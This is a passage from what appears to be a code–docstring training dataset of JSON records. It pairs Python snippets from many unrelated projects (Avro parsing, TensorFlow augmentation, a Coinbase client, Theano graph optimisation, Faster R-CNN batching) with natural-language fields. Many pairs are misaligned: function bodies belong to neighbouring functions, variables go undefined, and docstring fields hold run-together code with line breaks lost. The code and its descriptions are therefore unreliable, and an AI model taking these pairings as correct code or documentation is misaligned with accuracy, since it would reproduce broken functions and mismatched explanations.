Perspective(name='Default')perspective.save()ModuleSetting.set_for_module('default_perspective', perspective.id, 'treeio.core', user=self)return perspectivedef set_perspective(self, perspective):Sets the Perspective for the User"} {"code": "def testResolveRecursivelyDefinedRecords(self):\n record2 = '''{\"type\": \"record\", \"name\": \"Inner\", \"fields\": [{\"name\": \"child\", \"type\": \"int\"}]}'''\n\n type1 = AvroRecord([AvroField(\"child\", AvroRecord([AvroField(\"child\", AvroInt())], name=\"Inner\"))], name=\"Outer\")\n type2 = AvroRecord([AvroField(\"child\", AvroInt())], name=\"Inner\")\n type3 = AvroRecord([AvroField(\"innerChild\", AvroRecord([AvroField(\"child\", AvroInt())], name=\"Inner\"))], name=\"Another\")\n\n result1 = forwardDeclarationParser.parse([record1, record2])\n self.assertTrue(result1[record1].accepts(type1) and type1.accepts(result1[record1]))\n self.assertTrue(result1[record2].accepts(type2) and type2.accepts(result1[record2]))\n\n result2 = forwardDeclarationParser.parse([record3])\n self.assertTrue(result2[record3].accepts(type3) and type3.accepts(result2[record3]))\n", "nl": "record1 = {\"type\": \"record\", \"name\": \"Recursive\", \"fields\": [{\"name\": \"child\", \"type\": [\"null\", \"Recursive\"]}]}result = ForwardDeclarationParser().parse([record1])[record1]x = result.field(\"child\").avroTypey = AvroUnion([AvroNull(), result])self.assertTrue(x.accepts(y) and y.accepts(x))def testReCallableAndAccumulateTypes(self):forwardDeclarationParser = ForwardDeclarationParser()record1 = {\"type\": \"record\", \"name\": \"Outer\", \"fields\": [{\"name\": \"child\", \"type\": \"Inner\"}]}"} {"code": "def test_identity_resizer_returns_expected_shape(self):\n input_shape = (10, 20, 3)\n expected_output_shape = (10, 20, 3)\n output_shape = self._shape_of_resized_random_image_given_text_proto(\n input_shape, image_resizer_text_proto)\n self.assertEqual(output_shape, expected_output_shape)\n", "nl": "image_resizer_text_proto = identity_resizer {}"} {"code": "def get_labels(self):\n examples = []\n for (i, line) in enumerate(lines):\n if i == 0:\n continue\n guid = \"%s-%s\" % (set_type, line[0])\n text_a = line[8]\n text_b = line[9]\n if set_type == 'test':\n label = None\n else:\n label = line[-1]\n examples.append(\n InputExample(guid=guid, text_a=text_a, text_b=text_b, label=label))\n return examples\n\n\nclass MnliMismatchedProcessor(MnliProcessor):\n \"\"\"Processor for the MultiNLI Mismatched data set (GLUE version).\"\"\"", "nl": "See base class.return [\"contradiction\", \"entailment\", \"neutral\"]def _create_examples(self, lines, set_type):Creates examples for the training and dev sets."} {"code": "def strategy(self):\n return self._strategy\n\n @strategy.setter", "nl": "Gets the strategy of this V1alpha1PodGC. # noqa: E501Strategy is the strategy to use. One of \\\"OnPodCompletion\\\", \\\"OnPodSuccess\\\", \\\"OnWorkflowCompletion\\\", \\\"OnWorkflowSuccess\\\" # noqa: E501:return: The strategy of this V1alpha1PodGC. # noqa: E501:rtype: str"} {"code": "def test_STORBeforePORT(self):\n d = self._anonymousLogin()\n return self.assertCommandFailed(\n 'STOR foo',\n [\"503 Incorrect sequence of commands: \"\n \"PORT or PASV required before STOR\"],\n chainDeferred=d)\n\n", "nl": "Send STOR before sending PORT.@return: L{Deferred} of command response"} {"code": "def downloads(request):\n all_metadata = sorted(db.metadata.find(), key=lambda x: x['name'])\n return render(request, 'billy/web/public/downloads.html',\n {'all_metadata': all_metadata})\n\n", "nl": "Context:- all_metadataTemplates:- billy/web/public/downloads.html"} {"code": "def on_trial_complete(self, trial_id, result=None, error=False):\n if result:\n self.conn.experiments(self.experiment.id).observations().create(\n suggestion=self._live_trial_mapping[trial_id].id,\n value=self._metric_op * result[self._metric],\n )\n self.experiment = self.conn.experiments(self.experiment.id).fetch()\n elif error:\n self.conn.experiments(self.experiment.id).observations().create(\n failed=True, suggestion=self._live_trial_mapping[trial_id].id)\n del self._live_trial_mapping[trial_id]\n", "nl": "Notification for the completion of trial.If a trial fails, it will be reported as a failed Observation, tellingthe optimizer that the Suggestion led to a metric failure, whichupdates the feasible region and improves parameter recommendation.Creates SigOpt Observation object for trial."} {"code": "def home(self, direction):\n self.platform.write_pdled_config_reg(self.board, self.number + 23, 0)\n self._move_complete.set()\n if self._move_timer:\n self._move_timer.cancel()\n", "nl": "Not implemented.del directionself.platform.raise_config_error(\"Use homing_mode switch for steppers on PD-LED.\", 2)def stop(self):Stop stepper."} {"code": "def send(self, to_address, amount, notes='', user_fee=None, idem=None):\n self._require_allow_transfers()\n self._require_authentication()\n\n url = coinbase_url('transactions', 'send_money')\n\n request_data = {\n 'transaction': {\n 'to': to_address,\n 'notes': notes,\n },\n }\n\n if amount.currency == 'BTC':\n request_data['transaction']['amount'] = str(amount.amount)\n else:\n request_data['transaction']['amount_string'] = str(amount.amount)\n request_data['transaction']['amount_currency_iso'] = amount.currency\n\n if user_fee is not None:\n request_data['transaction']['user_fee'] = str(user_fee)\n\n if idem is not None:\n request_data['transaction']['idem'] = str(idem)\n\n response = self.session.post(url=url, data=json.dumps(request_data))\n response_parsed = response.json()\n\n if not response_parsed.get('success'):\n raise CoinbaseError('Failed to send btc.',\n response_parsed.get('errors'))\n\n return CoinbaseTransaction \\\n .from_coinbase_dict(response_parsed['transaction'])\n", "nl": "Send BitCoin from this account to either an email address or a BTCaddress:param to_address: Email or BTC address to where coin should be sent:param amount: Amount of currency to send (CoinbaseAmount):param notes: Notes to be included with transaction:param user_fee: an optionally included miner's fee. Coinbase paysfeeds on all transfers over 0.01 BTC, but under that you should includea fee.:param idem: An optional token to ensure idempotence. If a previoustransaction with the same idem parameter already exists for thissender, that previous transaction will be returned and a new one willnot be created. Max length 100 characters.:return: CoinbaseTransaction with status and details:raise: CoinbaseError with the error list received from Coinbase onfailure"} {"code": "def _import_config(cls, v, subconfig_type):\n if isinstance(v, cls.IMMUTABLE_TYPES):\n return v\n elif isinstance(v, cls.SEQUENCE_TYPES):\n return type(v)(map(cls._export_config, v))\n elif isinstance(v, params_dict.ParamsDict):\n return v.as_dict()\n elif isinstance(v, dict):\n raise TypeError('dict value not supported in converting.')\n else:\n raise TypeError('Unknown type: {!r}'.format(type(v)))\n\n @classmethod", "nl": "Returns v with dicts converted to Configs, recursively.if not issubclass(subconfig_type, params_dict.ParamsDict):raise TypeError('Subconfig_type should be subclass of ParamsDict, found {!r}'.format(subconfig_type))if isinstance(v, cls.IMMUTABLE_TYPES):return velif isinstance(v, cls.SEQUENCE_TYPES):# Only support one layer of sequence.if not cls._isvalidsequence(v):raise TypeError('Invalid sequence: only supports single level {!r} of {!r} or ''dict or ParamsDict found: {!r}'.format(cls.SEQUENCE_TYPES,cls.IMMUTABLE_TYPES, v))import_fn = functools.partial(cls._import_config, subconfig_type=subconfig_type)return type(v)(map(import_fn, v))elif isinstance(v, params_dict.ParamsDict):# Deepcopy here is a temporary solution for preserving type in nested# Config object.return copy.deepcopy(v)elif isinstance(v, dict):return subconfig_type(v)else:raise TypeError('Unknown type: {!r}'.format(type(v)))@classmethoddef _export_config(cls, v):Returns v with Configs converted to dicts, recursively."} {"code": "def init():\n report = fetch_report('servers', match, partition)\n report['valid_until'] = pd.to_datetime(report['valid_until'], unit='s')\n print_report(report)\n\n return servers", "nl": "Return top level command handler.@click.command()@cli.handle_exceptions(restclient.CLI_REST_EXCEPTIONS)@click.option('--match', help='Server name pattern match')@click.option('--partition', help='Partition name pattern match')def servers(match, partition):View servers report."} {"code": "def exposed_method_returns(self, method_name: str) -> Field:\n\n return self.exposed_method_signature(method_name).output\n\n\nclass InterfaceMethodDescriptor(Comparable):\n \"\"\"\n", "nl": "Gets return type of given method:param method_name: name of method to get return type for:return: return type"} {"code": "def heading(self, column, option=None, **kw):\n cmd = kw.get('command')\n if cmd and not isinstance(cmd, basestring):\n kw['command'] = self.master.register(cmd, self._substitute)\n\n if option is not None:\n kw[option] = None\n\n return _val_or_dict(kw, self.tk.call, self._w, 'heading', column)\n\n", "nl": "Query or modify the heading options for the specified column.If kw is not given, returns a dict of the heading option values. Ifoption is specified then the value for that option is returned.Otherwise, sets the options to the corresponding values.Valid options/values are:text: textThe text to display in the column headingimage: image_nameSpecifies an image to display to the right of the columnheadinganchor: anchorSpecifies how the heading text should be aligned. One ofthe standard Tk anchor valuescommand: callbackA callback to be invoked when the heading label ispressed.To configure the tree column heading, call this with column = \"#0\" "} {"code": "def type(self):\n raise NotImplementedError()\n\n @classmethod", "nl": "Fetch the type of this frame. Should be an octet."} {"code": "def get_feature_names_out(self, input_features: Optional[bool] = None) -> List:\n check_is_fitted(self)\n\n if input_features is not None and not isinstance(input_features, bool):\n raise ValueError(\n \"input_features takes None or a boolean, True or False. \"\n f\"Got {input_features} instead.\"\n )\n\n feature_names = [\n f\"{var}_{fun}_{reference}\"\n for fun in self.func\n for reference in self.reference\n for var in self.variables\n ]\n\n if input_features is None or input_features is False:\n if self.drop_original is True:\n original = [\n f\n for f in self.feature_names_in_\n if f not in self.variables + self.reference\n ]\n feature_names = original + feature_names\n else:\n feature_names = self.feature_names_in_ + feature_names\n\n return feature_names", "nl": "Get output feature names for transformation.Parameters----------input_features: bool, default=NoneIf `input_features` is `None`, then the names of all the variables in thetransformed dataset (original + new variables) is returned. Alternatively,if `input_features` is True, only the names for the new features will bereturned.Returns-------feature_names_out: listThe feature names."} {"code": "def add_owner(self, *, table_uri: str, owner: str) -> None:\n owner_info = self._get_user_details(owner)\n\n if not owner_info:\n raise NotFoundException(f'User \"{owner}\" does not exist.')\n\n user_dict = type_coerce({\n \"entity\": {\n \"typeName\": \"User\",\n \"attributes\": {\"qualifiedName\": owner},\n }\n }, AtlasEntityWithExtInfo)\n\n user_entity = self.client.entity.create_entity(user_dict)\n user_guid = next(iter(user_entity.guidAssignments.values()))\n\n table = self._get_table_entity(table_uri=table_uri)\n", "nl": "Query on Atlas User entity to find if the entity exist for theowner string in parameter, if not create one. And then use that Userentity's GUID and add a relationship between Table and User, on ownedBy field.:param table_uri::param owner: Email address of the owner:return: None, as it simply adds the owner."} {"code": "def testReduce(self):\n self.assertEqual(engine.action(None), \"abcde\")\n\n engine, = PFAEngine.fromYaml(\"\"\"\n self.assertEqual(engine.action(None), \"abcde\")\n\n engine, = PFAEngine.fromYaml(\"\"\"\n self.assertEqual(engine.action(None), \"edcba\")\n\n engine, = PFAEngine.fromYaml(\"\"\"\n self.assertEqual(engine.action(None), \"edcba\")\n", "nl": "engine, = PFAEngine.fromYaml(input: \"null\"output: stringaction:a.reduce:- {value: [\"a\", \"b\", \"c\", \"d\", \"e\"], type: {type: array, items: string}}- params: [{tally: string}, {x: string}]ret: stringdo: {s.concat: [tally, x]})"} {"code": "def setBlockValue(self, block, value):\n if self._bit_count == 0:\n raise Exception( \"The margin '\" + self._name +\n \"' did not allocate any bits for the values\")\n if value < 0:\n raise Exception( \"The margin '\" + self._name +\n \"' must be a positive integer\" )\n\n if value >= 2 ** self._bit_count:\n raise Exception( \"The margin '\" + self._name +\n \"' value exceeds the allocated bit range\" )\n\n newMarginValue = value << self._bitRange[ 0 ]\n currentUserState = block.userState()\n\n if currentUserState in [ 0, -1 ]:\n block.setUserState(newMarginValue)\n else:\n marginMask = 2 ** self._bit_count - 1\n otherMarginsValue = currentUserState & ~marginMask\n block.setUserState(newMarginValue | otherMarginsValue)\n", "nl": "Sets the required value to the block without damaging the other bits"} {"code": "def get_ticksize(self):\n return self._ticksize\n", "nl": "Return length of the ticks in points."} {"code": "def type_structs(self):\n\n self._ensure_types()\n return self._type_structs\n\n @util.cached_property", "nl": "A mapping of C type struct IDs to Python type IDs.e.g. GObjectClass -> GObject.Object"} {"code": "def name(self, name):\n\n self._name = name\n\n @property", "nl": "Sets the name of this V1alpha1WorkflowResubmitRequest.:param name: The name of this V1alpha1WorkflowResubmitRequest. # noqa: E501:type: str"} {"code": "def clear_cart(self, event: Event, cart_id: str=None, locale='en', sales_channel='web') -> None:\n with language(locale):\n try:\n try:\n cm = CartManager(event=event, cart_id=cart_id, sales_channel=sales_channel)\n cm.clear()\n cm.commit()\n except LockTimeoutException:\n self.retry()\n except (MaxRetriesExceededError, LockTimeoutException):\n raise CartError(error_messages['busy'])\n\n", "nl": "Removes a list of items from a user's cart.:param event: The event ID in question:param session: Session ID of a guest"} {"code": "def command_delete(options):\n\n check_print_version(options)\n if not options.name:\n print_error('Need at least a container image name for update!')\n sys.exit(1)\n gconf = init_config(options)\n osbase = OSBase(gconf, options.suite, options.arch, options.variant, custom_name=options.name)\n if options.recreate:\n r = osbase.recreate()\n else:\n r = osbase.update()\n if not r:\n sys.exit(2)\n\n", "nl": "Delete container imagecheck_print_version(options)if not options.name:print_error('No container image name was specified!')sys.exit(1)gconf = init_config(options)osbase = OSBase(gconf, options.suite, options.arch, options.variant, custom_name=options.name)r = osbase.delete()if not r:sys.exit(2)def command_update(options):Update container image"} {"code": "def __getitem__(self, index):\n vid_point = []\n for dt in range(self.dt):\n this_index = self.get_index_after(self.index_list[index], dt)\n vid_obj = {}\n norm_bbox = self.roidb[self.index_list[index]][dt]\n bboxes = np.vstack((norm_bbox[:, 0] * self.orig_W, norm_bbox[:, 1] * self.orig_H)).T\n image, crops = self._read_image(this_index, bboxes)\n\n trip = self._build_graph(this_index)\n vid_obj['index'] = this_index\n vid_obj['image'] = image\n vid_obj['crop'] = crops\n vid_obj['bbox'] = torch.FloatTensor(norm_bbox)\n vid_obj['trip'] = trip\n valid = np.arange(3, dtype=np.int64)\n vid_obj['info'] = (self.orig_W, self.orig_H, valid)\n vid_obj['valid'] = torch.LongTensor(valid)\n\n vid_point.append(vid_obj)\n return vid_point\n", "nl": ":return: src, dst. each is a list of object- 'image': FloatTensor of shape (dt, C, H, W). resize and normalize to faster-rcnn- 'crop': (O, C, RH, RW) RH >= 224- 'bbox': (O, 4) in xyxy (0-1) / xy logw logh- 'trip': (T, 3)- 'index': (dt,)"} {"code": "def init():\n global _VERSION\n global _DEBUG\n\n logging.basicConfig( \\\n filename=_LOG_FILE, \\\n level=logging.DEBUG, \\\n format='%(asctime)s %(levelname)s - %(message)s', \\\n datefmt='%d/%m/%Y %H:%M:%S', \\\n )\n\n", "nl": "Init the script"} {"code": "def depends(self, depends):\n\n self._depends = depends\n\n @property", "nl": "Sets the depends of this V1alpha1DAGTask.Depends are name of other targets which this depends on # noqa: E501:param depends: The depends of this V1alpha1DAGTask. # noqa: E501:type: str"} {"code": "def __init__(self, config, domain_embeddings, general_embeddings, logger=None, graph_suffix=None, ):\n self.config = config\n self.domain_embeddings = domain_embeddings\n self.general_embeddings = general_embeddings\n\n if graph_suffix is None:\n graph_suffix = '0'\n self.graph_suffix = str(graph_suffix)\n\n if logger is None:\n logger = logging.getLogger('logger')\n logger.setLevel(logging.DEBUG)\n logging.basicConfig(format='%(message)s', level=logging.DEBUG)\n\n self.logger = logger\n", "nl": "Args:config: class with hyper parametersdomain_embeddings: np array with domain_embeddingsgeneral_embeddings: np array with general_embeddingslogger: logger instance"} {"code": "def _filter_labels_by_class(obj_labels, classes):\n filtered = [[] for _ in range(len(classes))]\n\n for obj_label in obj_labels:\n if obj_label.type in classes:\n class_idx = classes.index(obj_label.type)\n\n obj_l = obj_label.l\n obj_w = obj_label.w\n obj_h = obj_label.h\n filtered[class_idx].append([obj_l, obj_w, obj_h])\n\n return filtered\n", "nl": "Splits ground truth labels based on provided classesArgs:obj_labels: ObjectLabel list for an imageclasses: Classes to saveReturns:A list of (l, w, h) of the objects, for each class"} {"code": "def __str__(self):\n model_parameters = filter(lambda p: p.requires_grad, self.parameters())\n params = sum([np.prod(p.size()) for p in model_parameters])\n return super().__str__() + '\\nTrainable parameters: {}'.format(params)", "nl": "Model prints with number of trainable parameters"} {"code": "def shear_x(image: tf.Tensor, level: float, replace: int) -> tf.Tensor:\n image = transform(\n image=wrap(image), transforms=[1., 0., 0., level, 1., 0., 0., 0.])\n return unwrap(image, replace)\n\n", "nl": "Equivalent of PIL Shearing in X dimension.# Shear parallel to x axis is a projective transform# with a matrix form of:# [1 level# 0 1].image = transform(image=wrap(image), transforms=[1., level, 0., 0., 1., 0., 0., 0.])return unwrap(image, replace)def shear_y(image: tf.Tensor, level: float, replace: int) -> tf.Tensor:Equivalent of PIL Shearing in Y dimension."} {"code": "def get_M(self, system='NED', style='n'):\n if style == 'f':\n print('\\n Full moment tensor in %s-coordinates:' % (system))\n return self._matrix_w_style_and_system(self._M, system, style)\n else:\n return self._matrix_w_style_and_system(self._M, system, style)\n", "nl": "Returns the moment tensor in matrix representation.Call with arguments to set ouput in other basis system or in fancystyle (to be viewed with 'print')"} {"code": "def get_bounds(arr):\n bmax = np.ceil(np.max(arr, axis=0)).astype(int)\n bmin = np.floor(np.min(arr, axis=0)).astype(int)\n return bmin[0], bmax[0], bmin[1], bmax[1]\n\n", "nl": "get the bounds of a Nx2 arrayParameters----------arr: array[Nx2]array to get the bounds ofReturns-------bmin[0]: minimum bound, axis 0bmax[0]: maximum bound, axis 0bmin[1]: minimum bound, axis 1bmax[1]: maximum bound, axis 1"} {"code": "def _openTestDataFile(filename):\n basePath = os.path.split(os.path.abspath(__file__))[0]\n dataDirPath = os.path.join(basePath, \"../../../data\")\n knownDataFilePath = os.path.join(dataDirPath, filename)\n return open(knownDataFilePath, \"rb\")\n\n", "nl": " Opens specified test data file in the htmengine integration test datadir. "} {"code": "def create_viewpoints(viewpoints_path, fields=None, attributes=None):\n geometries = [\n Point(7.0, -3.0),\n Point(1.0, -7.0),\n Point(7.0, -11.0),\n Point(11.0, -7.0)]\n\n pygeoprocessing.shapely_geometry_to_vector(\n geometries, viewpoints_path, WKT, 'GeoJSON',\n fields=fields, attribute_list=attributes,\n ogr_geom_type=ogr.wkbPoint)\n", "nl": "Create a known set of viewpoints for this DEM.This vector will contain 4 viewpoints in the WGS84/UTM31S projection.The second viewpoint is off the edge of the DEM and will therefore notbe included in the Scenic Quality analysis.Args:viewpoints_path (string): The filepath where the viewpoints vectorshould be saved.fields=None (dict): If provided, this must be a dict mappingfieldnames to datatypes, as expected by``pygeoprocessing.shapely_geometry_to_vector``.attributes=None (dict): If provided, this must be a list of dictsmapping fieldnames (which match the keys in ``fields``) tovalues that will be used as the column value for each featurein sequence.Returns:``None``"} {"code": "def test_heading_as_new_list_following_bare_paragraph_plus_list(self):\n\n numbering_xml = '''\n\n document_xml = '''\n\n document = WordprocessingDocumentFactory()\n document.add(StyleDefinitionsPart, style_xml)\n document.add(NumberingDefinitionsPart, numbering_xml)\n document.add(MainDocumentPart, document_xml)\n\n expected_html = '''\n self.assert_document_generates_html(document, expected_html)\n", "nl": "style_xml = "} {"code": "def get_max_size(self) -> int:\n return max([s.size for (_, s) in self.snapshots])\n", "nl": "Get the maximum of all sampled sizes."} {"code": "def get_step_by_index(self, step_index):\n logger.debug(\"Ticket steps IDs are '%s', getting ticket step with index '%s'\", self.steps, step_index)\n step_ids = [step.id for step in self.steps]\n logger.debug(\"Sorted step ID list is %s\", step_ids)\n return self.get_step_by_id(step_ids[step_index])\n", "nl": "Get the ticket step whose index matches the specified index.:param step_index: The index of the ticket step that is to be returned.:type step_index: int:return: The ticket step whose index matches the specified index.:rtype: Secure_Change.XML_Objects.REST.Ticket_Step:raise ValueError: If a ticket step with the specified index can not be found."} {"code": "def set_scale(self, sender):\n\t\tx, y = zip(*self.pts)\n\t\tarea = polygonArea(x, y, self.scale.value / 10)\n\t\tself.lbl.text = 'Area: {} squnits'.format(area)\n", "nl": "action for self.scale. called whenever scale is changed. when that happens we update the computation of room area, and also call set_needs_display, which forces a redraw, thus redrawing distance unitsself.update_area()self.set_needs_display()def update_area(self):update the area label by computing the polygon area with current scale value"} {"code": "def __init__(self, tfms):\n super().__init__()\n self.transforms = tfms\n", "nl": "Args:transforms (list[Transform]): list of transforms to compose."} {"code": "def beam_search(self, encoder_output, reuse):\n If a sequence is finished, we only allow one alive branch. This function aims to give one branch a zero score\n and the rest -inf score.\n Args:\n scores: A real value array with shape [batch_size * beam_size, beam_size].\n bias: A bool array with shape [batch_size * beam_size].\n\n Returns:\n A real value array with shape [batch_size * beam_size, beam_size].\n \"\"\"", "nl": "Beam search in graph.beam_size, batch_size = self._config.test.beam_size, tf.shape(encoder_output)[0]inf = 1e10def get_bias_scores(scores, bias):"} {"code": "def arctic_paginate(parser, token):\n bits = token.split_contents()\n if len(bits) < 2:\n raise TemplateSyntaxError(\n \"'%s' takes at least one argument\"\n \" (Page object reference)\" % bits[0]\n )\n page = parser.compile_filter(bits[1])\n kwargs = {}\n bits = bits[2:]\n\n kwarg_re = re.compile(r\"(\\w+)=(.+)\")\n\n if len(bits):\n for bit in bits:\n match = kwarg_re.match(bit)\n if not match:\n raise TemplateSyntaxError(\n \"Malformed arguments to bootstrap_pagination paginate tag\"\n )\n name, value = match.groups()\n kwargs[name] = parser.compile_filter(value)\n\n return PaginationNode(page, kwargs)", "nl": "Renders a Page object with pagination bar.Example::{% arctic_paginate page_obj paginator=page_obj.paginator range=10 %}Named Parameters::range - The size of the pagination bar (ie, if set to 10 then, at most,10 page numbers will display at any given time) Defaults toNone, which shows all pages.show_first_last - Accepts \"true\" or \"false\". Determines whether or notto show the first and last page links. Defaults to\"false\""} {"code": "def kde(x, circular=False, **kwargs):\n x = x[np.isfinite(x)]\n if x.size == 0 or np.all(x == x[0]):\n warnings.warn(\"Your data appears to have a single value or no finite values\")\n\n return np.zeros(2), np.array([np.nan] * 2)\n\n if circular:\n if circular == \"degrees\":\n x = np.radians(x)\n kde_fun = _kde_circular\n else:\n kde_fun = _kde_linear\n\n return kde_fun(x, **kwargs)\n\n", "nl": "One dimensional density estimation.It is a wrapper around ``kde_linear()`` and ``kde_circular()``.Parameters----------x : 1D numpy arrayData used to calculate the density estimation.circular : bool, optionalWhether ``x`` is a circular variable or not. Defaults to False.kwargs : dict, optionalArguments passed to ``kde_linear()`` and ``kde_circular()``.See their documentation for more info.Returns-------grid : numpy.ndarrayGridded numpy array for the x values.pdf : numpy.ndarrayNumpy array for the density estimates.bw : floatThe estimated bandwidth. Only returned if requested.Examples--------Default density estimation for linear data.. plot:::context: close-figs>>> import numpy as np>>> import matplotlib.pyplot as plt>>> from arviz import kde>>>>>> rng = np.random.default_rng(49)>>> rvs = rng.gamma(shape=1.8, size=1000)>>> grid, pdf = kde(rvs)>>> plt.plot(grid, pdf)Density estimation for linear data with Silverman's rule bandwidth.. plot:::context: close-figs>>> grid, pdf = kde(rvs, bw=\"silverman\")>>> plt.plot(grid, pdf)Density estimation for linear data with scaled bandwidth.. plot:::context: close-figs>>> # bw_fct > 1 means more smoothness.>>> grid, pdf = kde(rvs, bw_fct=2.5)>>> plt.plot(grid, pdf)Default density estimation for linear data with extended limits.. plot:::context: close-figs>>> grid, pdf = kde(rvs, bound_correction=False, extend=True, extend_fct=0.5)>>> plt.plot(grid, pdf)Default density estimation for linear data with custom limits.. plot:::context: close-figs>>> # It accepts tuples and lists of length 2.>>> grid, pdf = kde(rvs, bound_correction=False, custom_lims=(0, 11))>>> plt.plot(grid, pdf)Default density estimation for circular data.. plot:::context: close-figs>>> rvs = np.random.vonmises(mu=np.pi, kappa=1, size=500)>>> grid, pdf = kde(rvs, circular=True)>>> plt.plot(grid, pdf)Density estimation for circular data with scaled bandwidth.. plot:::context: close-figs>>> rvs = np.random.vonmises(mu=np.pi, kappa=1, size=500)>>> # bw_fct > 1 means less smoothness.>>> grid, pdf = kde(rvs, circular=True, bw_fct=3)>>> plt.plot(grid, pdf)Density estimation for circular data with custom limits.. plot:::context: close-figs>>> # This is still experimental, does not always work.>>> rvs = np.random.vonmises(mu=0, kappa=30, size=500)>>> grid, pdf = kde(rvs, circular=True, custom_lims=(-1, 1))>>> plt.plot(grid, pdf)See Also--------plot_kde : Compute and plot a kernel density estimate."} {"code": "def local_dimshuffle_lift(node):\n op = node.op\n if not isinstance(op, DimShuffle):\n return False\n\n input = node.inputs[0]\n inode = input.owner\n if inode and isinstance(inode.op, Elemwise) and (len(input.clients) == 1):\n new_inputs = []\n for inp in inode.inputs:\n new_inp = op.__class__(inp.type.broadcastable,\n op.new_order,\n op.inplace)(inp)\n new_inputs.append(apply_local_dimshuffle_lift(new_inp))\n copy_stack_trace(node.outputs[0], new_inputs)\n ret = inode.op(*new_inputs, **dict(return_list=True))\n return ret\n if inode and isinstance(inode.op, DimShuffle):\n new_order = [x == 'x' and 'x' or inode.op.new_order[x] for x in\n op.new_order]\n inplace = op.inplace and inode.op.inplace\n iinput = inode.inputs[0]\n\n if (new_order == list(range(len(new_order))) and\n len(new_order) == iinput.type.ndim):\n return [iinput]\n else:\n ret = op.__class__(iinput.type.broadcastable, new_order,\n inplace)(iinput)\n ret = apply_local_dimshuffle_lift(ret)\n copy_stack_trace(node.outputs[0], ret)\n return [ret]\n\n\n@register_canonicalize\n@gof.local_optimizer([T.DimShuffle])", "nl": "\"Lifts\" DimShuffle through Elemwise operations and mergesconsecutive DimShuffles. Basically, applies the followingtransformations on the whole graph:DimShuffle(Elemwise(x, y)) => Elemwise(DimShuffle(x), DimShuffle(y))DimShuffle(DimShuffle(x)) => DimShuffle(x)DimShuffle{0,1,...}(x) => x (when the dimshuffle do nothing)After this transform, clusters of Elemwise operations arevoid of DimShuffle operations."} {"code": "def phase_shift(self, theta, mode):\n mat = ops.phase(theta, self._trunc)\n self._state = self.apply_gate_BLAS(mat, [mode])\n", "nl": "Applies a phase shifter."} {"code": "def test_non_initial_prep_error(self):\n prog = sf.Program(1)\n with prog.context as q:\n sf.ops.Catstate() | q[0]\n sf.ops.GKP() | q[0]\n backend = bosonic.BosonicBackend()\n with pytest.raises(NotImplementedError):\n backend.run_prog(prog)", "nl": "Tests that more than one non-Gaussian state preparations in the same moderaises an error."} {"code": "def initializeGL(self):\n for item in self.items:\n if not item.isInitialized():\n item.initialize()\n", "nl": "Initialize items that were not initialized during addItem()."} {"code": "def forward(self, outputs, targets):\n bs, num_queries = outputs[\"pred_logits\"].shape[:2]\n\n out_prob = outputs[\"pred_logits\"].flatten(0, 1).softmax(-1)\n out_param = outputs[\"pred_param\"].flatten(0, 1)\n\n tgt_ids = torch.cat([tgt[:, 0] for tgt in targets]).long()\n tgt_param = torch.cat([tgt[:, 1:4] for tgt in targets])\n\n cost_class = -out_prob[:, tgt_ids]\n\n cost_param = torch.cdist(out_param, tgt_param, p=1)\n\n if 'pred_center' in outputs.keys():\n out_center = outputs[\"pred_center\"].flatten(0, 1)\n tgt_center = torch.cat([tgt[:, 4:] for tgt in targets])\n cost_center = torch.cdist(out_center, tgt_center, p=2)\n else:\n cost_center = 0.\n\n C = self.cost_param * cost_param + self.cost_class * cost_class + self.cost_center * cost_center\n C = C.view(bs, num_queries, -1).cpu()\n\n sizes = [tgt.shape[0] for tgt in targets]\n indices = [linear_sum_assignment(c[i]) for i, c in enumerate(C.split(sizes, -1))]\n res_indices = [(torch.as_tensor(i, dtype=torch.int64), torch.as_tensor(j, dtype=torch.int64)) for i, j in indices]\n\n\n return res_indices", "nl": " Performs the matchingParams:outputs: This is a dict that contains at least these entries:\"pred_logits\": Tensor of dim [batch_size, num_queries, 2] with the classification logits\"pred_param\": Tensor of dim [batch_size, num_queries, 3] with the predicted plane parameterstargets: This is a dict that contains at least these entries:\"labels\": tensor of dim [batch_size, num_target_planes, 1]\"params\": Tensor of dim [batch_size, num_target_planes, 3] containing the target plane parametersReturns:A list of size batch_size, containing tuples of (index_i, index_j) where:- index_i is the indices of the selected predictions (in order)- index_j is the indices of the corresponding selected targets (in order)For each batch element, it holds:len(index_i) = len(index_j) = min(num_queries, num_target_planes)"} {"code": "def test_instance_anonymous(self):\n registered_user = user(email='regist@ered.com', save=True)\n self._test_user_or_email(registered_user)", "nl": "Watch with an anonymous user.self._test_user_or_email('fred@example.com')def test_instance_registered(self):Watch with a registered user."} {"code": "def copy(self):\n node = super(EnamlDefNode, self).copy()\n node.update_id_nodes()\n return node\n\n\nclass TemplateNode(CompilerNode):\n \"\"\" A compiler node which represents a template declaration.\n scope = Typed(sortedmap, ())\n", "nl": " Create a copy the enamldef node hierarchy."} {"code": "def get_rcnn_batch(roidb, cfg):\n num_images = len(roidb)\n imgs, roidb = get_image(roidb, cfg)\n im_array = tensor_vstack(imgs)\n\n assert cfg.TRAIN.BATCH_ROIS == -1 or cfg.TRAIN.BATCH_ROIS % cfg.TRAIN.BATCH_IMAGES == 0, \\\n 'BATCHIMAGES {} must divide BATCH_ROIS {}'.format(cfg.TRAIN.BATCH_IMAGES, cfg.TRAIN.BATCH_ROIS)\n\n if cfg.TRAIN.BATCH_ROIS == -1:\n rois_per_image = np.sum([iroidb['boxes'].shape[0] for iroidb in roidb])\n fg_rois_per_image = rois_per_image\n else:\n rois_per_image = cfg.TRAIN.BATCH_ROIS / cfg.TRAIN.BATCH_IMAGES\n fg_rois_per_image = np.round(cfg.TRAIN.FG_FRACTION * rois_per_image).astype(int)\n\n rois_array = list()\n labels_array = list()\n bbox_targets_array = list()\n bbox_weights_array = list()\n\n for im_i in range(num_images):\n roi_rec = roidb[im_i]\n\n num_classes = roi_rec['gt_overlaps'].shape[1]\n\n rois = roi_rec['boxes']\n labels = roi_rec['max_classes']\n overlaps = roi_rec['max_overlaps']\n bbox_targets = roi_rec['bbox_targets']\n\n im_rois, labels, bbox_targets, bbox_weights = \\\n sample_rois(rois, fg_rois_per_image, rois_per_image, num_classes, cfg,\n labels, overlaps, bbox_targets)\n\n rois = im_rois\n batch_index = im_i * np.ones((rois.shape[0], 1))\n rois_array_this_image = np.hstack((batch_index, rois))\n rois_array.append(rois_array_this_image)\n\n labels_array.append(labels)\n bbox_targets_array.append(bbox_targets)\n bbox_weights_array.append(bbox_weights)\n\n rois_array = np.array(rois_array)\n labels_array = np.array(labels_array)\n bbox_targets_array = np.array(bbox_targets_array)\n bbox_weights_array = np.array(bbox_weights_array)\n\n data = {'data': im_array,\n 'rois': 